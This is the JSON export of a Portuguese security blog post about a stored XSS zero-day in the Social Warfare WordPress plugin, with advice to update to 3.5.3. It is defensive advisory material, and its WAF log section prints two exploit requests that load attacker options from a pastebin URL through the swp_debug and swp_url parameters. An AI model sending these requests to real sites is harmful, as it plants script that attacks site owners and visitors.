{"id":845,"date":"2019-04-09T15:01:05","date_gmt":"2019-04-09T18:01:05","guid":{"rendered":"https:\/\/www.xlabs.com.br\/blog\/?p=845"},"modified":"2021-08-25T18:31:30","modified_gmt":"2021-08-25T21:31:30","slug":"0day-xss-stored-em-plugin-socialwarfare-do-wordpress","status":"publish","type":"post","link":"https:\/\/www.xlabs.com.br\/blog\/0day-xss-stored-em-plugin-socialwarfare-do-wordpress\/","title":{"rendered":"0day XSS Stored em plugin SocialWarfare do WordPress"},"content":{"rendered":"\n<p>Uma vulnerabilidade de dia zero acaba de aparecer no mundo dos plugins do WordPress, afetando mais de 70.000 sites usando o plugin Social Warfare.<\/p>\n\n\n\n<p>O plugin \u00e9 vulner\u00e1vel a uma falha de XSS (Cross-Site Scripting) armazenado e foi removido do reposit\u00f3rio de plugins. Os ataques podem ser realizados por qualquer usu\u00e1rio que visite o site.<\/p>\n\n\n\n<p>Um patch foi lan\u00e7ado e os usu\u00e1rios s\u00e3o aconselhados a atualizar para a vers\u00e3o 3.5.3 o mais r\u00e1pido poss\u00edvel.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h4><strong>Eventos detectados por nossa tecnologia<\/strong><\/h4>\n\n\n\n<p>Analisando os logs de eventos detectados por nosso Web Application Firewall (WAF), identificamos que o 0day explora a falha atrav\u00e9s de solicita\u00e7\u00f5es direcionadas para qualquer <strong>arquivo PHP <\/strong> em <strong>\/wp-admin\/ <\/strong>com os seguintes par\u00e2metros em seus logs de acesso:<\/p>\n\n\n\n<ul><li>swp_debug<\/li><li>swp_url<\/li><\/ul>\n\n\n\n<p>Nos Logs identificados, foram bloqueadas solicita\u00e7\u00f5es POST de XSS Stored padr\u00f5es direciondas a \/wp-admin\/admin-ajax.php e \/wp-admin\/admin-post.php, com os seguintes par\u00e2metros e valores:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/wp-admin\/admin-ajax.php?swp_debug=load_options&amp;swp_url=https:\/\/pastebin.com\/raw\/HRsL6Drh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/wp-admin\/admin-post.php?swp_debug=load_options&amp;swp_url=https:\/\/pastebin.com\/raw\/HRsL6Drh <\/pre>\n\n\n\n<p>As evid\u00eancias de tentativa de explora\u00e7\u00e3o do 0day de XSS Stored podem ser vistas a seguir:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/www.xlabs.com.br\/blog\/wp-content\/uploads\/2019\/03\/blog-event-admin-ajax-php-1.jpg\" alt=\"\" class=\"wp-image-849\" width=\"406\" height=\"433\"\/><\/figure><\/div>\n\n\n\n<p class=\"has-text-align-center\"><strong>Solicita\u00e7\u00f5es POST de XSS Stored<\/strong><br><strong>direcionadas a \/wp-admin\/admin-ajax.php<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" width=\"400\" height=\"435\" src=\"https:\/\/www.xlabs.com.br\/blog\/wp-content\/uploads\/2019\/03\/blog-event-admin-post-php-2.jpg\" alt=\"\" class=\"wp-image-850\"\/><\/figure><\/div>\n\n\n\n<p class=\"has-text-align-center\"><strong>Solicita\u00e7\u00f5es POST de XSS Stored direcionadas a \/wp-admin\/admin-post.php<\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma vulnerabilidade de dia zero acaba de aparecer no mundo dos plugins do WordPress, afetando mais de 70.000 sites usando o plugin Social Warfare. O plugin \u00e9 vulner\u00e1vel a uma falha de XSS (Cross-Site Scripting) armazenado e foi removido do reposit\u00f3rio de plugins. Os ataques podem ser realizados por qualquer usu\u00e1rio que visite o site. [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":1655,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[185,183,182,184],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>0day XSS Stored em plugin SocialWarfare do WordPress &ndash; XLabs Security Blog<\/title>\n<meta name=\"description\" content=\"Uma vulnerabilidade de 0day acaba de aparecer no mundo dos plugins do WordPress, afetando mais de 70.000 sites usando o plugin SocialWarfare..\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.xlabs.com.br\/blog\/0day-xss-stored-em-plugin-socialwarfare-do-wordpress\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"0day XSS Stored em plugin SocialWarfare do WordPress &ndash; XLabs Security Blog\" \/>\n<meta property=\"og:description\" content=\"Uma vulnerabilidade de dia zero acaba de aparecer no mundo dos plugins do WordPress, afetando mais de 70.000 sites usando o plugin Social Warfare.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.xlabs.com.br\/blog\/0day-xss-stored-em-plugin-socialwarfare-do-wordpress\/\" \/>\n<meta property=\"og:site_name\" content=\"XLabs Security Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/xlabs\" \/>\n<meta property=\"article:published_time\" content=\"2019-04-09T18:01:05+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-08-25T21:31:30+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.xlabs.com.br\/blog\/wp-content\/uploads\/2019\/04\/0day-xss-stored-plugin-warfare-wordpress-blog-post-xlabs.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1000\" \/>\n\t<meta property=\"og:image:height\" content=\"488\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Guilherme Rubert\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"0day XSS Stored em plugin SocialWarfare do WordPress &ndash; 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